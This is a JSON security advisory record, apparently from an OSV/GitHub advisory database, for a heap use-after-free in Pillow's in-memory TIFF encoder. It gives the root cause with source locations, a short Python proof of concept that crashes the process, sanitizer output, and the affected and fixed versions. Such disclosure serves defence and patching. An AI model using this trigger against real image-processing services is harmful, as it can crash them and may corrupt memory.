Files
vuln-osv/data/PyPI/GHSA-4rr5-89j8-mwwm.json

1 line
4.9 KiB
JSON

{"schema_version":"1.9.0","id":"GHSA-4rr5-89j8-mwwm","published":"2026-10-21T21:24:19Z","modified":"2026-10-27T11:10:49.694224501Z","aliases":["BIT-pillow-2026-112396","CVE-2026-112396","PYSEC-2026-4328"],"summary":"Pillow: Heap use-after-free when encoding TIFF to an in-memory buffer","details":"### Summary\nSaving an image as TIFF to an in-memory buffer can trigger a heap use-after-free if libtiff rejects a tag at encode time. When `TIFFWriteScanline` fails, the encoder frees its output buffer but leaves the libtiff handle open. Later, when the encoder object is torn down, `TIFFClose` flushes buffered bytes through the write callback and writes into the freed buffer. An application that re-encodes attacker-influenced images to TIFF in memory can be crashed and is a candidate for remote code execution.\n\n### Details\nThe failure path in `ImagingLibTiffEncode` frees `clientstate->data` for the in-memory case but does not close the TIFF or null `clientstate->tiff` (the file-descriptor branch just above it does set `tiff = NULL`):\n\n- `src/libImaging/TiffDecode.c:1041-1046`\n\nTeardown then calls `ImagingLibTiffEncodeCleanup`, which runs `TIFFClose(tiff)` because `tiff` is still set:\n\n- `src/encode.c:99-101`\n- `src/libImaging/TiffDecode.c:955`\n\n`TIFFClose` flushes through `_tiffWriteProc`, which reallocs and memcpys into the freed `state->data`:\n\n- `src/libImaging/TiffDecode.c:103-115`\n\nThe Predictor tag is a convenient trigger: the floating-point predictor (value 3) is invalid for integer sample data, so libtiff aborts the write.\n\n### PoC\n```python\nimport io\nfrom PIL import Image\n\n# In-memory TIFF re-encode. libtiff rejects Predictor=3 (floating point) on integer\n# data, so TIFFWriteScanline fails. The encoder frees clientstate->data but leaves the\n# TIFF open; cleanup's TIFFClose then writes through the callback into the freed buffer.\nim = Image.new(\"L\", (64, 64))\nbuf = io.BytesIO()\nim.save(buf, format=\"TIFF\", compression=\"tiff_lzw\", tiffinfo={317: 3}) # 317 = Predictor\n```\n\nRun it:\n```\n$ python 01_poc.py\nPredictorSetup: Floating point \"Predictor\" not supported with 1 data format.\nOSError: encoder error -2 when writing image file\nSegmentation fault (core dumped)\n```\n\nObserved on a source build of commit `3e2ab96` with libtiff. The process aborts during cleanup after the encoder error. Depending on heap state the same run sometimes reports `corrupted double-linked list` instead of a segfault; both are the same write into freed memory.\n\nUnder AddressSanitizer (build with `-fsanitize=address`), relevant frames:\n```\n==ERROR: AddressSanitizer: heap-use-after-free on address 0x7ef737b48804\nWRITE of size 4 at 0x7ef737b48804 thread T0\n #1 _tiffWriteProc src/libImaging/TiffDecode.c:115\n #3 TIFFFlush libtiff.so.6\n #5 TIFFClose libtiff.so.6\n #6 ImagingLibTiffEncodeCleanup src/libImaging/TiffDecode.c:955\n #7 _dealloc src/encode.c:100\nfreed by thread T0 here:\n #1 ImagingLibTiffEncode src/libImaging/TiffDecode.c:1045\n #2 _encode src/encode.c:139\npreviously allocated by thread T0 here:\n #1 ImagingLibTiffEncodeInit src/libImaging/TiffDecode.c:863\n #2 PyImaging_LibTiffEncoderNew src/encode.c:757\nSUMMARY: AddressSanitizer: heap-use-after-free src/libImaging/TiffDecode.c:115 in _tiffWriteProc\n```\nThe buffer allocated in `ImagingLibTiffEncodeInit` is freed in `ImagingLibTiffEncode`, then written by `_tiffWriteProc` during the `TIFFClose` flush that runs from the encoder's `_dealloc`.\n\n### Impact\nUse-after-free in a C extension. Affects any service that converts or thumbnails untrusted images to TIFF in memory (a `BytesIO` or other non-seekable target). Result is a crash and possible memory corruption leading to code execution.","affected":[{"package":{"name":"pillow","ecosystem":"PyPI","purl":"pkg:pypi/pillow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.3.0"},{"fixed":"13.0.0"}]}],"versions":["11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","12.3.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-4rr5-89j8-mwwm/GHSA-4rr5-89j8-mwwm.json"}}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-4rr5-89j8-mwwm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112396"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/dc95da20207827a062cfbf551ee9f6031465a8bb"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}],"database_specific":{"cwe_ids":["CWE-416"],"github_reviewed":true,"github_reviewed_at":"2026-10-21T21:24:19Z","nvd_published_at":"2026-10-19T22:17:06Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}